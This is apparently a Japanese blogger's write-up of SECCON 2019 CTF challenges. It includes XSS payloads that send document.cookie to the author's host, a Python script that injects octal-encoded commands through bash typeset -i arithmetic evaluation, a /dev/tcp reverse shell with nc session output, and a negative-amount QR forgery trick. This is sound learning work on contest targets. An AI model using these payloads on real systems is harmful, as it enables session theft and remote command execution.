JSONP内ではcallbackという関数を呼び出していますので、事前にcallbackという名前の関数を用意しておくことで、提供されたJSONデータをJavaScriptによるアプリケーション側で簡単に利用できます。
引用ばかりになってしまいましたが、これを利用するとjavascriptを実行させることができそうです。
ということで、下記のコードをbodyに返すcallback
用のページを作ってあげます。
alert(1);//
その後のコードを打ち消すための、末尾のコメントアウト//
を忘れずに。刺さればアラートが表示されるはずです。
http://spa.chal.seccon.jp:18364/#/{$kusuwada.com}/callback=?&
にアクセスしてみます。
alertが実行されました!XSS刺さっています!あとは、alertを表示させるのではなくcookieをurlにくっつけて自サイトにアクセスさせるスクリプトに置き換えます。
せっかく環境があるので、色々試してみました。
/callback*
へのアクセスに対するレスポンス↓ リダイレクト機能を使っています。
location.href='http://{$kusuwada.com}/test2?c='+document.cookie;// location.assign('http://{$kusuwada.com}/test2?c='+document.cookie);// document.location='http://{$kusuwada.com}/test2?c='+document.cookie;// (new Image).src='http://{$kusuwada.com}/test2?c='+document.cookie;//
これらのコードが刺さりました٩(๑❛ᴗ❛๑)۶
Web問ってどうやってフィルタを回避するか考える問題が多いことがわかったので、使えるパターンは増やしておきたい。
上記のスクリプトを返すように/callback
を設定したあと、下記に自分でアクセスしてみます。
http://spa.chal.seccon.jp:18364/#/{$kusuwada.com}/callback=?&
適当にcookie(test: piyopiyo
)を入れて確かめてみましたが、/test2?c=test_cookie=piyopiyo
みたいなアクセスが来ています。行けそうです。
上記のurlをadminへのreport欄に送りつけると、adminのcookieが送られてきました!
実はvueのコードをちゃんと見たのはこれが初めてでした。SPAも。気になりつつ何もしていなかったFWに強制的に触れられるのも、CTFのいいところですねー!
[Web] SECCON_multiplicater
http://multiplicater.chal.seccon.jp/cgi-bin/
- index.cgi
指定のリンクにアクセスすると
こんな感じ。ただの計算機のようです。実際数値を入れると計算してくれます。
配布されたcgi
ファイル
#!/bin/bash SECCON_BANNER="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" typeset -i var1 typeset -i var2 echo "Content-Type: text/html" echo "" cat << SECCON <!doctype html> <html><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous"> <title>SECCON multiplicater</title> </head> <body> <div class="container-fluid"> <div class="row"> <div class="ml-2"> <h1><img src="data:image/png;base64,$SECCON_BANNER" /> multiplicater</h1> </div> </div> </div> <form class="form-inline" action="$SCRIPT_NAME" method="post" enctype="application/x-www-form-urlencoded"> <div class="container-fluid"> <div class="row"> <div class="ml-3"> <input class="form-control" type="text" name="var1" size="5" placeholder="1-999" /> </div> <div class="ml-2" > * </div> <div class="ml-2" > <input class="form-control" type="text" name="var2" size="5" placeholder="1-999" /> </div> <div class="ml-3" > <button type="submit" class="btn btn-primary">calculate</button> </div> </div> </div> </form> <div class="container-fluid"> <div class="row"> <div class="ml-3"> <h2> SECCON if [ "$REQUEST_METHOD" = "POST" ] then POST_STRING=$(cat) var1="$(echo $POST_STRING|awk -F'&' '{print $1}'|awk -F'=' '{print $2}'| nkf -w --url-input|tr -d a-zA-Z)" var2="$(echo $POST_STRING|awk -F'&' '{print $2}'|awk -F'=' '{print $2}'| nkf -w --url-input|tr -d a-zA-Z)" echo "$var1" '*' "$var2 = $((var1 * var2))" fi cat << SECCON </h2> </div> </div> </div> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> </body> </html> SECCON
計算結果は、inputしたvar1
, var2
を echo "$var1" '*' "$var2 = $((var1 * var2))"
して出してあげているだけなので、この出力をいい感じにhackできると flag.txt
をecho
させる、みたいなことができるのかもしれない。
どうも
typeset -i var1 typeset -i var2 ...(中略)... if [ "$REQUEST_METHOD" = "POST" ] then POST_STRING=$(cat) var1="$(echo $POST_STRING|awk -F'&' '{print $1}'|awk -F'=' '{print $2}'| nkf -w --url-input|tr -d a-zA-Z)" var2="$(echo $POST_STRING|awk -F'&' '{print $2}'|awk -F'=' '{print $2}'| nkf -w --url-input|tr -d a-zA-Z)" echo "$var1" '*' "$var2 = $((var1 * var2))" fi
ここの処理をじっくり読んだら何か出てきそう…。
とぼんやり考えたところでタイムアップ。val1, val2の作り方を確認してみます。
echo $POST_STRING # 入力を出力 awk -F'&' '{print $1}' # '&' を区切り文字として区切り、1番目の要素を出力 awk -F'=' '{print $2}' # '=' を区切り文字として区切り、2番目の要素を出力 nkf -w --url-input # urlデコードし、utf-8に変換して出力 tr -d a-zA-Z # a-zA-Z を削除する
例えばユーザー入力が 1
,3
だった場合は val1=1&val2=3
という入力になり、val1 = 1
, val2 = 3
となりますが、a
,b
だった場合は val1 = 0
, val2 = 0
, a3
, b5
だった場合は val1 = 3
, val2 = 5
として処理されます。
ここで、最後の tr
ではアルファベットしか削除されないことに注目です。その前にurlデコードされますが、基本的に数字と記号は入力可能なようです。試しに 4+1
, 2
と入れてみると、出力は 5 * 2 = 10
となり、 4+1
がそのまま処理されていることがわかりました。
これはもしかして、難読シェル芸みたいに echo $'\103'
みたいに 8進数で表示させてみると、アルファベットが打てるやつ?!
と思ったけどここまで。普通に入れるだけではダメ。
自力では埒が明かないので、下記のwriteupを参考にさせていただきました。
- SECCON 2019 Online CTF の write-up - st98 の日記帳
- SECCON 2019 quals Write-up (Beeeeeeeeeer, SECCON_multiplicater) - Ryoto's Blog
両者とも、どさにっき こちらのブログ記事にリンクが貼られています。
変数
n
は(typeset -i n
により)整数型に宣言されているため、n="$1"
は「$1
をn
に代入する」ではなく、「$1
を算術式として再帰評価した上でその結果をn
に代入する」という動作になる。
今回も
typeset -i var1 typeset -i var2
と宣言されているため、上記のn
と同じことがval1, val2
に当てはまります。だから先程4+1
などと入れた時に算術式として評価されて代入されたんですね。
ローカルでこの挙動を試すために、下記のような簡単なスクリプトを組んでみます。
bash_test.sh
#!/bin/bash typeset -i var1 var1="1+2+3+4+5+6+7+8+9" echo $var1
実行してみましょう。
$ chmod 755 bash_test.sh $ ./bash_test.sh 45
他のコマンドも試してみます。
#!/bin/bash typeset -i var1 var1="$(ls /)" echo $var1
実行結果
$ ./bash_test.sh ./test.sh: 行 3: 0 bin boot dev etc home ...
なるほど!これで任意のコマンドが実行させられそうなことがわかってきました。
多分、サーバー上にflag.txt
的なものがあって、それを探して表示させることが必要なのです…。ls
で表示させたり探した結果をこっちに出力してほしい。もう一度writeupたちを読んでみます。
参考にしたwriteup2つとも _[$({commands})]
というのをvar
に突っ込んでいます。なぜ?
どうやら、配列のindex (array[i]
みたいなところの i
) の部分も算術式の評価が行われるらしく、ここに上記で試したようなコマンドを入れてあげることで、どんなコマンドも算術式評価させて実行できます。配列名が両者とも _
でかぶったのは、配列名には アルファベット・もしくはアンダースコアから始まる文字列しか使えない、かつアルファベットが使えないからでしょう。___
みたいな配列名でもOKです。。。ってこれやっぱり難読化シェル芸で見たやつだぞ…。
参考: Bash $((算術式)) のすべて - Qiita
何か表示させるコマンドについては出力が確認できないため刺さっているかわかりませんが、ここでコマンドが刺さっているかどうかを確認するために sleep 3
を入れてみます (st98さんのwriteupより)
最初の方でつぶやいた通り、アルファベットでコマンドは入力できないので、octetになおしてあげて入力します。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- # this code is referenced to https://st98.github.io/diary/posts/2019-10-20-seccon-online-ctf.html import requests import urllib.parse target_url = 'http://multiplicater.chal.seccon.jp/cgi-bin/' def to_oct_cmd(cmd): oct_cmd = "$'" for c in cmd: oct_cmd += '\\' + oct(ord(c))[2:].zfill(3) return oct_cmd + "'" oct_cmd = to_oct_cmd('sleep') attack_var = '_[$(' + oct_cmd + ' 3)]' print(attack_var) requests.post(target_url, data='var1=' + urllib.parse.quote(attack_var) + '&var2=1') print("catch response")
実行結果
$ python sleep.py _[$($'\163\154\145\145\160' 3)] catch response
responseが返ってくるまで3秒ほどウエイトがあったように思います。刺さってますね!
次は、コマンドの出力を見る方法を考えます。
では、リバースシェルでフラグを探してみましょう。
(。-`ω´-)??リバースシェル、存在自体は知っていたものの、pwntoolsを使わずにやってみたことなかったので、今回はここから。ということで下記にリバースシェルについてまとめてみました。
クライアントはサーバーからの接続をlistenして待ち構えており、サーバーに接続に来させます。サーバーから、shellを触らせてあげるような接続を投げさせることができれば、クライアント側からサーバー側の操作が可能になります。
簡単なリバースシェルの環境構築、実験は上記リンク先にまとめてみたので割愛します。
最初のbashコマンドのoption -c
についてはこちらがわかりやすかったです。
shellの-cオプションについてUbuntuのsh(dash)、bash、zshはそれぞれ違う挙動をする - Qiita
st98さんのwriteupをガンガン参考にさせいていただきつつ、sleepのときのやつに reverse shell のコマンドを入れたpythonスクリプト。※焼き直してるのに劣化してるのは言及しないで下さい…
#!/usr/bin/env python3 # -*- coding:utf-8 -*- # this code is referenced to https://st98.github.io/diary/posts/2019-10-20-seccon-online-ctf.html import requests import urllib.parse target_url = 'http://multiplicater.chal.seccon.jp/cgi-bin/' my_ip = '{my.ip.address}' port = '8000' commands = ["bash", "-c", "bash -i >& /dev/tcp/" + my_ip + '/' + port + " 0>&1"] def to_oct_cmd(cmd): oct_cmd = "$'" for c in cmd: oct_cmd += '\\' + oct(ord(c))[2:].zfill(3) return oct_cmd + "'" oct_cmds = [] for cmd in commands: oct_cmds.append(to_oct_cmd(cmd)) attack_var = '_[$(' + ' '.join(oct_cmds) + ')]' print(attack_var) requests.post(target_url, data='var1=' + urllib.parse.quote(attack_var) + '&var2=1')
上記スクリプトを実行した際の、attaker側端末の実行結果。※スクリプトの実行自体は、attacker端末・IPで実行する必要はありません。
$ nc -nlvp 8000 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::8000 Ncat: Listening on 0.0.0.0:8000 # (ここでvictim側からの接続) Ncat: Connection from 133.242.22.100. Ncat: Connection from 133.242.22.100:54408. bash: cannot set terminal process group (11384): Inappropriate ioctl for device bash: no job control in this shell # (ReverseShell開始) www-data@ubuntu:/usr/lib/cgi-bin$ ls ls index.cgi www-data@ubuntu:/usr/lib/cgi-bin$ pwd pwd /usr/lib/cgi-bin www-data@ubuntu:/usr/lib/cgi-bin$ ls -la ls -la total 16 drwxr-xr-x 2 root root 4096 Oct 8 20:22 . drwxr-xr-x 59 root root 4096 Oct 8 20:20 .. -r-xr-xr-x 1 root root 4226 Sep 7 10:56 index.cgi # (なんにも無いので全部見てみる) www-data@ubuntu:/usr/lib/cgi-bin$ ls -la / ls -la / total 88 drwxr-xr-x 22 root root 4096 Oct 8 20:22 . drwxr-xr-x 22 root root 4096 Oct 8 20:22 .. drwxr-xr-x 2 root root 4096 Oct 8 16:02 bin drwxr-xr-x 3 root root 4096 Sep 18 14:46 boot drwxr-xr-x 17 root root 3820 Oct 19 11:30 dev drwxr-xr-x 90 root root 4096 Oct 20 15:35 etc -r--r--r-- 1 root root 29 Oct 2 21:47 flag drwxr-xr-x 13 root root 4096 Oct 17 19:13 home lrwxrwxrwx 1 root root 33 Sep 18 14:46 initrd.img -> boot/initrd.img-4.15.0-64-generic lrwxrwxrwx 1 root root 33 Sep 18 14:38 initrd.img.old -> boot/initrd.img-4.15.0-55-generic drwxr-xr-x 18 root root 4096 Sep 18 14:40 lib drwxr-xr-x 2 root root 4096 Sep 18 14:37 lib64 drwx------ 2 root root 16384 Sep 18 14:37 lost+found drwxr-xr-x 3 root root 4096 Sep 18 14:37 media drwxr-xr-x 2 root root 4096 Aug 6 03:30 mnt drwxr-xr-x 2 root root 4096 Aug 6 03:30 opt dr-xr-xr-x 147 root root 0 Oct 19 11:30 proc drwx------ 3 root root 4096 Oct 19 13:48 root drwxr-xr-x 19 root root 620 Oct 20 10:46 run drwxr-xr-x 2 root root 4096 Sep 18 14:46 sbin drwxr-xr-x 2 root root 4096 Aug 6 03:30 srv dr-xr-xr-x 13 root root 0 Oct 20 01:43 sys drwxrwxrwt 2 root root 4096 Oct 29 10:47 tmp drwxr-xr-x 10 root root 4096 Sep 18 14:37 usr drwxr-xr-x 12 root root 4096 Oct 8 20:20 var lrwxrwxrwx 1 root root 30 Sep 18 14:46 vmlinuz -> boot/vmlinuz-4.15.0-64-generic lrwxrwxrwx 1 root root 30 Sep 18 14:38 vmlinuz.old -> boot/vmlinuz-4.15.0-55-generic www-data@ubuntu:/usr/lib/cgi-bin$ cat /flag cat /flag SECCON{Did_you_calculate_it?}
これ競技中に解けるのすごすぎ…。
[Crypto] ZKPay
指定のurlを訪れてみると、こんなサイトが。あ、去年出た仮想通貨系の問題に似てるけど復習してない…。
そして誰か「絶対〇〇pay出る」って言ってたけど出た…!
ログイン画面。
Register画面。
※registerではuser名の重複が許されない。
registerしてみます。
home画面では入金履歴が見れます。最初にadminから500もらったようです。
ここで、使うかわかりませんがadminのaddressがわかります。
Address is e1bf7aa7e80687c9e80dfe20d79934c547d1c3fc34a503f06eb48198b121b55a
ほか、Send
で送金のためのQRコードを作成したり、Receive
でQRコードを読み取ってポイントが受け取れるようです。
まずは$100
をsendするためのQRコードを作成してみます。
読み取るとこんな感じ。
username=kusuwada&amount=100&proof=MGIsKV6scO6II773yrPQWLFqx5FgHvNjmfXQVvbpEoUeMCAwDv6LDqT3rmK2Fcq/g8Mf9RQ13UKPDjQ/wv/RWs+zei8wCjBqcVw0GJL8oLUayogtrc83PjlQuwb3oql0FDkesGnnHGeNGeyZIf1UCA/0B/KsaDP/sMt1+1vUzo3UiaFYCEAoMCAwFSUH33j5rH7njonCopXYLsa7nVvTr6brnKM4LDQwKwIwCjAam+CYuwgrzaiE9JaVx2CoP/x19Kgy1vTd30UpmhGdGDAgMEaIgk7pU1iao2nwXilLmJ/RDDgHK/x1hsuGI9/sTLIqMQowvp4YMHhQsJcNubtyTfF6s3xEN3qTBeRkMDPQGqsGXiUwCjASCXJEU1Y2SMYCRIq8aqn6FTiqRaj4kpTYhkaIl6kpMDAK&hash=d939f58a14a88a4eeb748fc0cbb65c6a28ea0de3cc5972c8c6581210a56ed7d6
このQRコードをrecieveしてみると、自分から自分への送金処理が完了しました。まぁ、なので残高は変わっていません。
方針としては、adminが$1,000,00
以上送金するようなQRコードを捏造して、それを recieve してやるのが良さそう。が、このproof
というのが捏造できるか鍵になりそうです。
SECCONなのでこれはないだろうと思いつつ、Send機能の時に負の数(-100
)を入れてみると、100
になってQRコードが生成されました。また、1+1
と入れると11
に。この辺を利用して大金をゲットできないかとちょっと触ってみましたが、大きめの数値を入れると Don't cheat!
と牽制されてしまいます。
競技中はここで時間切れ。Crypto問題だし、ちゃんと最初の方針で行ったほうが良さそうだなぁ。と思ってwriteup読んだら、それ必要なかったみたい!!!金額を買えてもproofは変わらない様子。もうちょっと試行錯誤したら良かったよ!SECCONだから無理かと思って諦めちゃったよ!!
Send機能からは大きい負の値を入れるとDon't cheet!
と怒られるので、自分で通常のSendQRコードのamount
を -1000000
に書き換えてQRコードを再生成します。
username=kusuwada&amount=1000000&proof=MGIsKV6scO6II773yrPQWLFqx5FgHvNjmfXQVvbpEoUeMCAwDv6LDqT3rmK2Fcq/g8Mf9RQ13UKPDjQ/wv/RWs+zei8wCjBqcVw0GJL8oLUayogtrc83PjlQuwb3oql0FDkesGnnHGeNGeyZIf1UCA/0B/KsaDP/sMt1+1vUzo3UiaFYCEAoMCAwFSUH33j5rH7njonCopXYLsa7nVvTr6brnKM4LDQwKwIwCjAam+CYuwgrzaiE9JaVx2CoP/x19Kgy1vTd30UpmhGdGDAgMEaIgk7pU1iao2nwXilLmJ/RDDgHK/x1hsuGI9/sTLIqMQowvp4YMHhQsJcNubtyTfF6s3xEN3qTBeRkMDPQGqsGXiUwCjASCXJEU1Y2SMYCRIq8aqn6FTiqRaj4kpTYhkaIl6kpMDAK&hash=d939f58a14a88a4eeb748fc0cbb65c6a28ea0de3cc5972c8c6581210a56ed7d6
これを自分のアカウントで読んじゃうと、こんな感じ。
Send/Receiveには成功しているし、$-1000000
がそのまま処理されてそうなんだけど、自分のアカウントから出て自分のアカウントに入ってくるので、差し引きもとの$500
。
ということで、もう一つアカウントを作ってそっちでReceiveします。
Receiveした方のアカウントはものすごい借金を負いましたが、もともとのQRコードを作った方のアカウントを見ると負の値の送金に成功し、大金持ちになってました。
他にもUserをたくさん作って送らせるという手もありました。初期状態で各ユーザーは $500
持っているので $1,000,000
誰かに集めるためには 2000人。2千ユーザー作って送金させれば良さそう。ただ、おそらくこの開放の防止の為、ユーザーをRegisterするのに結構時間がかかります。これもプログラム組んで並列で走らせることができれば良さそうだけど全然Cryptoじゃない。上記の解き方も、全然Cryptoじゃなかったけど。
感想
今回も初めて見る手法や、ナイスなreference先を知れたのが良かった。更に、今まで気になりつつも全く触っていなかったSPA,Vueあたりが見れたのも個人的にはとても良かった。
更に、ReverseShellをちゃんと1からやるきっかけになり、大変勉強になりました…!
他の方々のwriteup見てみると、節々に「ドキュメントを見てみると」というのがあるので、ドキュメント探してちゃんと読むって大事なんだなと改めて思った。逆にこれができないと、やったことある問題ズバリのが出ないと対応できないので、必須スキルなんだろうな。
ところでWeb問、最初の方針が結構違ってて、違う方向に迷走しがちなんですけど経験を積むと方向もなんとなく見えてくるんですかね?シュッと正しい方針を探り当てるの、めちゃ難しくない?まだRev,Pwn,Cryptoのほうがわかりやすい…(解けないけど)